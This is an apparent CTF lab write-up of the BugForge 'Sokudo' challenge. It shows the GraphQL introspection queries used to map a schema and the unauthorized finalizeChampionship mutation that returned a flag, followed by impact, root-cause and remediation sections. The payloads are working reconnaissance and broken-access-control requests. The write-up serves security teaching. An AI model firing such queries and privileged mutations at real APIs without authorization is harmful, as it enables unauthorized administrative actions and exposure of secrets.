BugForge - Daily - Sokudo

4 min read

Daily - Sokudo

Vulnerabilities Covered

GraphQL

Summary

Sokudo's /api/graphql endpoint leaves introspection enabled in production, handing over a complete map of the schema. By dumping the schema and enumerating the available queries and mutations, an administrative finalizeChampionship mutation was discovered that was never linked from the frontend. Inspecting the ChampionshipResult return type revealed a prizeCode field, and because the mutation enforced no authorization, calling it as a regular user finalized a season and returned the prizeCode, which contained the flag. This demonstrates how enabled introspection combined with missing access control on a privileged GraphQL mutation leads to unauthorized administrative actions and sensitive data disclosure.

Reference

1

Full Schema Dump

Whenever a target is backed by GraphQL, the first move is to check whether introspection is enabled. A single introspection query against /api/graphql returns every type, field, and argument the schema exposes, giving a complete blueprint of the API in one request.

{"query":"{\n  __schema {\n    queryType { name }\n    mutationType { name }\n    subscriptionType { name }\n    types {\n      name\n      kind\n      description\n      fields {\n        name\n        args { name type { name kind ofType { name kind } } }\n        type { name kind ofType { name kind } }\n      }\n    }\n  }\n}"}

Full GraphQL schema returned via introspection

2

Discovering Operations

With introspection confirmed, the next step is to narrow the schema down to the operations that are actually callable. Querying queryType lists every available query, and mutationType lists every mutation along with its arguments.

{"query":"{\n  __schema {\n    queryType {\n      fields {\n        name\n        description\n        args { name type { name kind } }\n        type { name kind }\n      }\n    }\n  }\n}"}

Available queries enumerated from the schema

{"query":"{\n  __schema {\n    mutationType {\n      fields {\n        name\n        description\n        args { name type { name kind ofType { name kind } } }\n      }\n    }\n  }\n}"}

The mutation list is where things got interesting, a finalizeChampionship mutation stood out immediately. Anything that “finalizes”, “unlocks”, or “overrides” state is a prime candidate for broken access control.

Available mutations including finalizeChampionship

To know what to inspect next, I needed each mutation’s return type. Extending the mutation enumeration to include the type field (and its ofType chain to unwrap NON_NULL/LIST wrappers) showed that finalizeChampionship returns a ChampionshipResult.

{"query":"{\n  __schema {\n    mutationType {\n      fields {\n        name\n        type {\n          name\n          kind\n          ofType { name kind }\n        }\n        args { name type { name kind ofType { name kind } } }\n      }\n    }\n  }\n}"}

Mutation return types showing finalizeChampionship returns ChampionshipResult

3

Inspecting the ChampionshipResult Type

finalizeChampionship returns a ChampionshipResult, so the next step was to inspect that type directly to see exactly which fields it exposes. The nested ofType chain matters here, the NON_NULL and LIST wrappers hide the actual scalar underneath.

{"query":"{\n  __type(name: \"ChampionshipResult\") {\n    name\n    kind\n    description\n    fields {\n      name\n      description\n      type { name kind ofType { name kind ofType { name kind } } }\n    }\n  }\n}"}

The type exposed a prizeCode field, exactly the kind of code/secret/token field worth hunting for in a CTF.

Inspecting the ChampionshipResult type revealing prizeCode

4

Hunting for Hidden Operations

Before firing the mutation, I scanned the full list of query names for anything administrative or debug-related that the frontend never references. Introspection reveals them all, regardless of whether the UI links to them.

{"query":"{\n  __schema {\n    queryType {\n      fields {\n        name\n      }\n    }\n  }\n}"}

This confirmed finalizeChampionship was the privileged operation to target, an admin-style action that should never be reachable by a regular authenticated user.

Scanning query names for hidden admin operations

5

Finalizing the Championship

With the schema fully mapped, the final step was to call the mutation directly, supplying seasonId: "1" and requesting the prizeCode field in the response. No admin role or special privilege was required, the server happily finalized the season and returned the prize code.

{"query":"mutation {\n  finalizeChampionship(seasonId: \"1\") {\n    seasonId\n    champion\n    finalized\n    prizeCode\n  }\n}"}

The prizeCode field on the ChampionshipResult contained the flag, completing the challenge by performing an administrative action that should never have been authorized.

finalizeChampionship mutation returning the prizeCode flag

Impact
  • Unauthorized execution of a privileged administrative mutation by any authenticated user
  • Disclosure of the prizeCode, a sensitive value that should only be issued through a controlled admin workflow
  • State tampering: a season can be finalized by an attacker, corrupting competition results and integrity
  • Enabled introspection hands attackers a complete map of the API, dramatically reducing the effort needed to find weak operations
  • The same pattern likely extends to other unprotected mutations, broadening the attack surface
Vulnerability Classification
  • OWASP Top 10: A01:2021 - Broken Access Control (with A05:2021 - Security Misconfiguration for enabled introspection)
  • OWASP API Top 10: API5:2023 - Broken Function Level Authorization, API8:2023 - Security Misconfiguration
  • Vulnerability Type: Broken Function Level Authorization via GraphQL mutation
  • Attack Surface: GraphQL API endpoint (/api/graphql), finalizeChampionship mutation, introspection
  • CWE: CWE-285 - Improper Authorization, CWE-862 - Missing Authorization, CWE-200 - Exposure of Sensitive Information
Root Cause

Two issues combine here. First, GraphQL introspection is left enabled in production, exposing the entire schema, including operations such as finalizeChampionship that are never surfaced in the frontend. Second, and more critically, the finalizeChampionship mutation performs no function-level authorization. It assumes that because the operation is hidden from the UI, only administrators will ever call it, relying on security through obscurity. Any authenticated user who discovers the operation can invoke it and receive the privileged prizeCode in the response, since the resolver neither checks the caller’s role nor validates their right to finalize the given season.

Remediation
  • Enforce function-level authorization in every resolver, especially state-changing mutations like finalizeChampionship, checking the caller’s role and entitlements
  • Never rely on operations being absent from the frontend as an access control mechanism
  • Disable GraphQL introspection in production, or restrict it to authenticated administrative users
  • Apply the principle of least privilege so sensitive fields such as prizeCode are only resolvable for authorized callers
  • Add query depth and complexity limits to slow schema reconnaissance and abuse
  • Log and alert on privileged mutations, and rate limit the GraphQL endpoint to detect enumeration and unauthorized action attempts
Zw4rts

© 2026 Zw4rts. All rights reserved.